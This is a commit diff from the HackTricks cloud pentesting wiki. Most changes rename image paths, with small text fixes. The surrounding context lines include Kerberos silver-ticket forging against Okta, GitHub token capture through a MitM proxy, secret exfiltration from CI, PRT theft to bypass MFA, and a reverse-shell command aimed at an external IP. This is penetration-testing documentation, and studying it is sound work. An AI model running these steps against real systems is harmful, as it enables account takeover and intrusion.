GITBOOK-522: change request with no subject merged in GitBook

HackTricks-wiki · Jan 13, 2024 · e02714c · e02714c
1 parent 3acc586
commit e02714c
Show file tree

Hide file tree

Showing 71 changed files with 242 additions and 56 deletions.
diff --git a/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png b/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png
diff --git a/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png b/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png
diff --git a/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png b/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png
diff --git a/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png b/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png
diff --git a/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png b/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png
diff --git a/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png b/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png
diff --git a/.gitbook/assets/image (1) (1) (1) (1) (1) (1).png b/.gitbook/assets/image (1) (1) (1) (1) (1) (1).png
diff --git a/.gitbook/assets/image (1) (1) (1) (1) (1).png b/.gitbook/assets/image (1) (1) (1) (1) (1).png
diff --git a/.gitbook/assets/image (1) (1) (1) (1).png b/.gitbook/assets/image (1) (1) (1) (1).png
diff --git a/.gitbook/assets/image (1) (1) (1).png b/.gitbook/assets/image (1) (1) (1).png
diff --git a/.gitbook/assets/image (1) (1).png b/.gitbook/assets/image (1) (1).png
diff --git a/.gitbook/assets/image (1).png b/.gitbook/assets/image (1).png
diff --git a/.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1).png b/.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1).png
diff --git a/.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1).png b/.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1).png
diff --git a/.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1).png b/.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1).png
diff --git a/.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1).png b/.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1).png
diff --git a/.gitbook/assets/image (2) (1) (1) (1) (1) (1).png b/.gitbook/assets/image (2) (1) (1) (1) (1) (1).png
diff --git a/.gitbook/assets/image (2) (1) (1) (1) (1).png b/.gitbook/assets/image (2) (1) (1) (1) (1).png
diff --git a/.gitbook/assets/image (2) (1) (1) (1).png b/.gitbook/assets/image (2) (1) (1) (1).png
diff --git a/.gitbook/assets/image (2) (1) (1).png b/.gitbook/assets/image (2) (1) (1).png
diff --git a/.gitbook/assets/image (2) (1).png b/.gitbook/assets/image (2) (1).png
diff --git a/.gitbook/assets/image (2).png b/.gitbook/assets/image (2).png
diff --git a/.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1).png b/.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1).png
diff --git a/.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png b/.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png
diff --git a/.gitbook/assets/image (3) (1) (1) (1) (1) (1).png b/.gitbook/assets/image (3) (1) (1) (1) (1) (1).png
diff --git a/.gitbook/assets/image (3) (1) (1) (1) (1).png b/.gitbook/assets/image (3) (1) (1) (1) (1).png
diff --git a/.gitbook/assets/image (3) (1) (1) (1).png b/.gitbook/assets/image (3) (1) (1) (1).png
diff --git a/.gitbook/assets/image (3) (1) (1).png b/.gitbook/assets/image (3) (1) (1).png
diff --git a/.gitbook/assets/image (3) (1).png b/.gitbook/assets/image (3) (1).png
diff --git a/.gitbook/assets/image (3).png b/.gitbook/assets/image (3).png
diff --git a/.gitbook/assets/image (4) (1) (1) (1) (1) (1) (1) (1).png b/.gitbook/assets/image (4) (1) (1) (1) (1) (1) (1) (1).png
diff --git a/.gitbook/assets/image (4) (1) (1) (1) (1) (1) (1).png b/.gitbook/assets/image (4) (1) (1) (1) (1) (1) (1).png
diff --git a/.gitbook/assets/image (4) (1) (1) (1) (1) (1).png b/.gitbook/assets/image (4) (1) (1) (1) (1) (1).png
diff --git a/.gitbook/assets/image (4) (1) (1) (1) (1).png b/.gitbook/assets/image (4) (1) (1) (1) (1).png
diff --git a/.gitbook/assets/image (4) (1) (1) (1).png b/.gitbook/assets/image (4) (1) (1) (1).png
diff --git a/.gitbook/assets/image (4) (1) (1).png b/.gitbook/assets/image (4) (1) (1).png
diff --git a/.gitbook/assets/image (4) (1).png b/.gitbook/assets/image (4) (1).png
diff --git a/.gitbook/assets/image (4).png b/.gitbook/assets/image (4).png
diff --git a/.gitbook/assets/image.png b/.gitbook/assets/image.png
diff --git a/SUMMARY.md b/SUMMARY.md
@@ -76,6 +76,7 @@
     * [GCP - AppEngine Privesc](pentesting-cloud/gcp-pentesting/gcp-privilege-escalation/gcp-appengine-privesc.md)
     * [GCP - Cloudbuild Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloudbuild-privesc.md)
     * [GCP - Cloudfunctions Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloudfunctions-privesc.md)
+    * [GCP - Cloudidentity Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloudidentity-privesc.md)
     * [GCP - Cloudscheduler Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloudscheduler-privesc.md)
     * [GCP - Compute Privesc](pentesting-cloud/gcp-pentesting/gcp-privilege-escalation/gcp-compute-privesc/README.md)
       * [GCP - Add Custom SSH Metadata](pentesting-cloud/gcp-pentesting/gcp-privilege-escalation/gcp-compute-privesc/gcp-add-custom-ssh-metadata.md)
@@ -115,7 +116,7 @@
       * [GCP - SQL Enum](pentesting-cloud/gcp-security/gcp-services/gcp-databases-enum/gcp-sql-enum.md)
     * [GCP - DNS Enum](pentesting-cloud/gcp-security/gcp-services/gcp-dns-enum.md)
     * [GCP - Filestore Enum](pentesting-cloud/gcp-security/gcp-services/gcp-filestore-enum.md)
-    * [GCP - IAM, Ppals & Org Policies Enum](pentesting-cloud/gcp-security/gcp-services/gcp-iam-and-org-policies-enum.md)
+    * [GCP - IAM, Principals & Org Policies Enum](pentesting-cloud/gcp-security/gcp-services/gcp-iam-and-org-policies-enum.md)
     * [GCP - KMS Manager Enum](pentesting-cloud/gcp-security/gcp-services/gcp-kms-and-secrets-management-enum.md)
     * [GCP - Pub/Sub](pentesting-cloud/gcp-security/gcp-services/gcp-pub-sub.md)
     * [GCP - Secrets Manager Enum](pentesting-cloud/gcp-pentesting/gcp-services/gcp-secrets-manager-enum.md)

diff --git a/pentesting-ci-cd/gitea-security/basic-gitea-information.md b/pentesting-ci-cd/gitea-security/basic-gitea-information.md
@@ -46,7 +46,7 @@ When creating a new team, several important settings are selected:
   * **Administrator** access
   * **Specific** access:
 
-![](<../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png>)
+![](<../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1).png>)
 
 ### Teams & Users
 

diff --git a/pentesting-ci-cd/okta-security/README.md b/pentesting-ci-cd/okta-security/README.md
@@ -64,19 +64,19 @@ getST.py -spn HTTP/clientname.kerberos.okta.com -dc-ip 1.2.3.4 LAB/comprommisedu
 
 With a ticket retrieved for the AD user, we need to inject this on a host we control using Rubeus or Mimikatz:
 
-<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
 
 You’ll need to make sure that `clientname.kerberos.okta.com` is added to the “Intranet” security zone in Internet Options. And then, in our browser, if we hit the below URL, we should find that we receive a JSON response providing an `OK` result when the Kerberos ticket is accepted:
 
-<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
 
 Heading over to the Okta dashboard, if everything is OK, you’ll be signed in.
 
 Moreover, if we are able to compromise the actual Okta service account exposing the delegation SPN, we can perform a Silver Ticket attack.
 
 It should be noted that as Okta only support AES for ticket encryption, we’ll need to ensure we have the AES key or plaintext password to authenticate:
 
-<figure><img src="../../.gitbook/assets/image (2) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
 
 To craft our ticket for the victim user of `testuser`, we use:
 
@@ -88,7 +88,7 @@ ticketer.py -domain-sid S-1-5-21-4170871944-1575468979-147100471 -domain lab.loc
 
 And again, deliver this to Okta via our browser session:
 
-<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
 
 ### Hijacking Okta AD Agent
 
@@ -104,7 +104,7 @@ C:\Program Files (x86)\Okta\Okta AD Agent
 
 We’re going to take a look at the `OktaAgentService.exe.config`, which contains a few interesting bits of XML:
 
-<figure><img src="../../.gitbook/assets/image (4) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../.gitbook/assets/image (4) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
 
 The Base64 encoded `AgentToken` is where we set our sights. If we open up `OktaAgentService.exe` in dnSpy, we can see how these values are decrypted:
 

diff --git a/pentesting-ci-cd/travisci-security/README.md b/pentesting-ci-cd/travisci-security/README.md
@@ -44,7 +44,7 @@ It looks like It's not possible to set crons inside the `.travis.yml` according
 
 TravisCI by default disables sharing env variables with PRs coming from third parties, but someone might enable it and then you could create PRs to the repo and exfiltrate the secrets:
 
-![](<../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>)
+![](<../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>)
 
 ### Dumping Secrets
 

diff --git a/...ost-exploitation/aws-codebuild-post-exploitation/aws-codebuild-token-leakage.md b/...ost-exploitation/aws-codebuild-post-exploitation/aws-codebuild-token-leakage.md
@@ -35,22 +35,24 @@ The Docker image you could use is [https://github.com/carlospolop/docker-mitm](h
      * **DO NOT SET `http_proxy`** to not intercept requests to the metadata endpoint.
    * You could use **`ngrok`** like `ngrok tcp 4444` lo set the proxy to your host
    * Once you have the Docker image built, **upload it to a public repo** (Dockerhub, ECR...)
-2.  **Set the environment**
+2. **Set the environment**
+   * Create a **new Codebuild project** or **modify** the environment of an existing one.
+   * Set the project to use the **previously generated Docker image**
 
-    * Create a **new Codebuild project** or **modify** the environment of an existing one.
-    * Set the project to use the **previously generated Docker image**
-    *
+<figure><img src="../../../../.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
 
-    ```
-    <figure><img src="../../../../.gitbook/assets/image (18).png" alt=""><figcaption></figcaption></figure>
-    ```
 3. **Set the MitM proxy in your host**
-   * As indicated in the **Github repo** you could use something like:
+
+* As indicated in the **Github repo** you could use something like:
 
 ```bash
 mitmproxy --listen-port 4444  --allow-hosts "github.com"
 ```
 
+{% hint style="success" %}
+The **mitmproxy version used was 9.0.1**, it was reported that with version 10 this might not work.
+{% endhint %}
+
 4. **Run the build & capture the credentials**
 
 *   You can see the token in the **Authorization** header:

diff --git a/pentesting-cloud/aws-pentesting/aws-post-exploitation/aws-kms-post-exploitation.md b/pentesting-cloud/aws-pentesting/aws-post-exploitation/aws-kms-post-exploitation.md
@@ -106,7 +106,7 @@ aws kms put-key-policy --key-id mrk-c10357313a644d69b4b28b88523ef20c \
 Note that if you change that policy and only give access to an external account, and then from this external account you try to set a new policy to **give the access back to original account, you won't be able**.
 {% endhint %}
 
-<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
 
 ### Destroy keys
 

diff --git a/pentesting-cloud/aws-pentesting/aws-post-exploitation/aws-s3-post-exploitation.md b/pentesting-cloud/aws-pentesting/aws-post-exploitation/aws-s3-post-exploitation.md
@@ -42,7 +42,7 @@ For example, **airflow** could be storing **DAGs** **code** in there, or **web p
 
 The following screenshot shows an example of a file that was targeted for a ransomware attack. As you can see, the account ID that owns the KMS key that was used to encrypt the object (7\*\*\*\*\*\*\*\*\*\*2) is different than the account ID of the account that owns the object (2\*\*\*\*\*\*\*\*\*\*1).
 
-![](<../../../.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1).png>)
+![](<../../../.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>)
 
 Here you can [find a ransomware example](https://github.com/RhinoSecurityLabs/Cloud-Security-Research/blob/master/AWS/s3\_ransomware/s3-ransomware-poc.py) that does the following:
 

diff --git a/...-cloud/aws-pentesting/aws-privilege-escalation/aws-elastic-beanstalk-privesc.md b/...-cloud/aws-pentesting/aws-privilege-escalation/aws-elastic-beanstalk-privesc.md
@@ -43,11 +43,11 @@ zip 1692777270420-aws-flask-app.zip <files to zip>
 # Upload code
 aws s3 cp 1692777270420-aws-flask-app.zip s3://elasticbeanstalk-eu-west-1-947247140022/1692777270420-aws-flask-app.zip
 # Rebuild env
-aws elasticbeanstalk rebuild-environment --environment-id "env-id"
+aws elasticbeanstalk rebuild-environment --environment-name "env-name"
 ```
 {% endcode %}
 
-### `elasticbeanstalk:CreateApplication`,  `elasticbeanstalk:CreateEnvironment`, `elasticbeanstalk:CreateApplicationVersion`, `elasticbeanstalk:UpdateEnvironment`, `iam:PassRole`, and more...
+### `elasticbeanstalk:CreateApplication`, `elasticbeanstalk:CreateEnvironment`, `elasticbeanstalk:CreateApplicationVersion`, `elasticbeanstalk:UpdateEnvironment`, `iam:PassRole`, and more...
 
 The mentioned plus several **`S3`**, **`EC2`, `cloudformation`** ,**`autoscaling`** and **`elasticloadbalancing`** permissions are the necessary to create a raw Elastic Beanstalk scenario from scratch.
 

diff --git a/pentesting-cloud/aws-security/aws-persistence/aws-ecr-persistence.md b/pentesting-cloud/aws-security/aws-persistence/aws-ecr-persistence.md
@@ -62,7 +62,7 @@ Note that ECR requires that users have **permission** to make calls to the **`ec
 
 It's possible to automatically replicate a registry in an external account configuring cross-account replication, where you need to **indicate the external account** there you want to replicate the registry.
 
-<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
 
 First, you need to give the external account access over the registry with a **registry policy** like:
 

diff --git a/pentesting-cloud/aws-security/aws-services/aws-api-gateway-enum.md b/pentesting-cloud/aws-security/aws-services/aws-api-gateway-enum.md
@@ -248,7 +248,7 @@ It's possible to generate API keys in the API Gateway portal and even set how mu
 
 To make an API key work, you need to add it to a **Usage Plan**, this usage plan mus be added to the **API Stage** and the associated API stage needs to have a configured a **method throttling** to the **endpoint** requiring the API key:
 
-<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
 
 ## Unauthenticated Access
 

diff --git a/...ecurity/aws-services/aws-security-and-detection-services/aws-cloudtrail-enum.md b/...ecurity/aws-services/aws-security-and-detection-services/aws-cloudtrail-enum.md
@@ -119,7 +119,7 @@ AWS Access Advisor relies on last 400 days AWS **CloudTrail logs to gather its i
 Therefore, Access Advisor informs about **the unnecessary permissions being given to users** so the admin could remove them
 {% endhint %}
 
-<figure><img src="../../../../.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../../../.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
 
 ## Actions
 

diff --git a/pentesting-cloud/azure-security/az-basic-information.md b/pentesting-cloud/azure-security/az-basic-information.md
@@ -145,7 +145,7 @@ In Azure **permissions are can be assigned to any part of the hierarchy**. That
 
 This hierarchical structure allows for efficient and scalable management of access permissions.
 
-<figure><img src="../../.gitbook/assets/image (2).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../.gitbook/assets/image (2) (1).png" alt=""><figcaption></figcaption></figure>
 
 ### Azure RBAC vs ABAC
 

diff --git a/pentesting-cloud/azure-security/az-device-registration.md b/pentesting-cloud/azure-security/az-device-registration.md
@@ -62,7 +62,7 @@ roadrecon auth -r 01cb2876-7ebd-4aa4-9cc9-d28bd4d359a9 --prt-cookie <cookie>
 
 And then you can register the device:
 
-<figure><img src="../../.gitbook/assets/image (4).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../.gitbook/assets/image (4) (1).png" alt=""><figcaption></figcaption></figure>
 
 Which will give you a **certificate you can use to ask for PRTs in the future**. Therefore maintaining persistence and **bypassing MFA** because the original PRT token used to register the new device **already had MFA permissions granted**.
 
@@ -78,7 +78,7 @@ This attack was fixed in September 2021 as you can no longer register new device
 
 It was possible to **request a device ticket**, **overwrite** the current one of the device, and during the flow **steal the PRT** (so no need to steal it from the TPM. For more info check this [**talk**](https://youtu.be/BduCn8cLV1A).
 
-<figure><img src="../../.gitbook/assets/image (4) (1).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../.gitbook/assets/image (4) (1) (1).png" alt=""><figcaption></figcaption></figure>
 
 {% hint style="danger" %}
 However, this was fixed.

diff --git a/...ral-movement-cloud-on-prem/az-phishing-primary-refresh-token-microsoft-entra.md b/...ral-movement-cloud-on-prem/az-phishing-primary-refresh-token-microsoft-entra.md
@@ -46,19 +46,19 @@ The “upgrade” from normal refresh token to primary refresh token is not poss
 
 If there is a policy that requires MFA to sign in, we can instead use the `interactiveauth` module:
 
-<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
 
 The resulting refresh token (which is cached in the `.roadtools_auth` file) can be used to request a token for the device registration service, where we can create the device:
 
-<figure><img src="../../../.gitbook/assets/image (2) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../../.gitbook/assets/image (2) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
 
 Now that we have a device identity, we can combine this with the same refresh token to obtain a PRT (both refresh tokens shortened for readability):
 
-<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
 
 Tokens resulting from the authentication will contain the same authentication method claims as used during the registration, so **any MFA usage will be transferred to the PRT**. The PRT that we get can be used in any authentication flow, so we can expand the scope of our limited refresh token to any possible app.
 
-<figure><img src="../../../.gitbook/assets/image (4) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../../.gitbook/assets/image (4) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
 
 We can also use this to sign in to browser flows:
 

diff --git a/...ud/azure-security/az-lateral-movement-cloud-on-prem/az-roadtx-authentication.md b/...ud/azure-security/az-lateral-movement-cloud-on-prem/az-roadtx-authentication.md
@@ -55,7 +55,7 @@ roadtx interactiveauth -u myuser@mytenant.com -p password -r devicereg
 
 Any of the commands above with **save an access token to the `.roadtools_auth` file**. The device registration command will automatically load it from this file. You can customize what you want for device properties with various commandline parameters to the `roadtx device` module:
 
-<figure><img src="../../../.gitbook/assets/image (4) (1) (1).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../../.gitbook/assets/image (4) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
 
 We register an Azure AD joined device with the name “blogdevice”:
 
@@ -113,7 +113,7 @@ Tokens were written to .roadtools_auth
 
 There’s also other options you can use to specify other resources or the correct redirect URL for the app you are using:
 
-<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
 
 ## Selenium based Azure AD authentication <a href="#selenium-based-azure-a-d-authentication" id="selenium-based-azure-a-d-authentication"></a>
 
@@ -163,7 +163,7 @@ roadtx browserprtinject -u newlowpriv@iminyour.cloud -r msgraph -c msteams
 
 The issued access token will contain the `deviceid` claim, which is the device from which we stole the PRT. Since this device is Intune managed and compliant, it passes the compliancy requirement:
 
-<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
 
 ### Adding MFA claims to an existing PRT <a href="#adding-mfa-claims-to-an-existing-prt" id="adding-mfa-claims-to-an-existing-prt"></a>
 
@@ -182,7 +182,7 @@ roadtx prt -r <refreshtoken> -c blogdevice.pem -k blogdevice.key
 
 The new PRT is written to disk and when we use it to request tokens we see the MFA claim:
 
-<figure><img src="../../../.gitbook/assets/image (4) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../../.gitbook/assets/image (4) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
 
 We can use this PRT to obtain tokens for resources that require MFA using any of the above methods.
 

diff --git a/...nt-cloud-on-prem/azure-ad-connect-hybrid-identity/az-synchronising-new-users.md b/...nt-cloud-on-prem/azure-ad-connect-hybrid-identity/az-synchronising-new-users.md
@@ -28,11 +28,11 @@ Get-MsolUser -SerachString admintest | select displayname, lastdirsynctime, prox
 ```
 {% endcode %}
 
-<figure><img src="../../../../.gitbook/assets/image (2) (1) (1).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../../../.gitbook/assets/image (2) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
 
 When a user like these is found in AzureAD, in order to **access it from the on-prem AD** you just need to **create a new account** with the **proxyAddress** the SMTP email:
 
-<figure><img src="../../../../.gitbook/assets/image (3) (1) (1).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../../../.gitbook/assets/image (3) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
 
 An automatically, this user will be **synced from AzureAD to the on-prem AD user**.
 

diff --git a/...vement-cloud-on-prem/azure-ad-connect-hybrid-identity/phs-password-hash-sync.md b/...vement-cloud-on-prem/azure-ad-connect-hybrid-identity/phs-password-hash-sync.md
@@ -43,7 +43,7 @@ The database is located in `C:\Program Files\Microsoft Azure AD Sync\Data\ADSync
 
 It's possible to extract the configuration from one of the tables, being one encrypted:
 
-<figure><img src="../../../../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../../../.gitbook/assets/image (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
 
 The **encrypted configuration** is encrypted with **DPAPI** and it contains the **passwords of the `MSOL_*`** user in on-prem AD and the password of **Sync\_\*** in AzureAD. Therefore, compromising these it's possible to privesc to the AD and to AzureAD.
 

diff --git a/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/pass-the-prt.md b/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/pass-the-prt.md
@@ -60,7 +60,7 @@ The **KDF context is** a nonce from AzureAD and the PRT creating a **JWT** mixed
 
 Therefore, even if the PTR cannot be extracted because it's located inside the TPM, it's possible to abuseLSASS to **request derived keys from new contexts and use the generated keys to sign Cookies**.
 
-<figure><img src="../../../.gitbook/assets/image (3) (1).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../../.gitbook/assets/image (3) (1) (1).png" alt=""><figcaption></figcaption></figure>
 
 ## PRT Abuse Scenarios
 
@@ -286,7 +286,7 @@ roadtx browserprtauth
 roadtx describe < .roadtools_auth
 ```
 
-<figure><img src="../../../.gitbook/assets/image (2) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../../.gitbook/assets/image (2) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
 
 #### Option 3 - roadrecon using derived keys
 

diff --git a/.../azure-security/az-services/az-automation-account/az-state-configuration-rce.md b/.../azure-security/az-services/az-automation-account/az-state-configuration-rce.md
@@ -72,7 +72,7 @@ RevPShell -Reverse 40.84.7.73 443
 
 Now we’ll run our configuration file. I have mine setup to be published to the Desktop for a better visual, however it can be published just about anywhere. After a couple of minutes, we’ll see that the reverse-shell script has been published!
 
-<figure><img src="../../../../.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../../../.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
 
 ### Step 6 — Host Payload and Setup Listener <a href="#c55f" id="c55f"></a>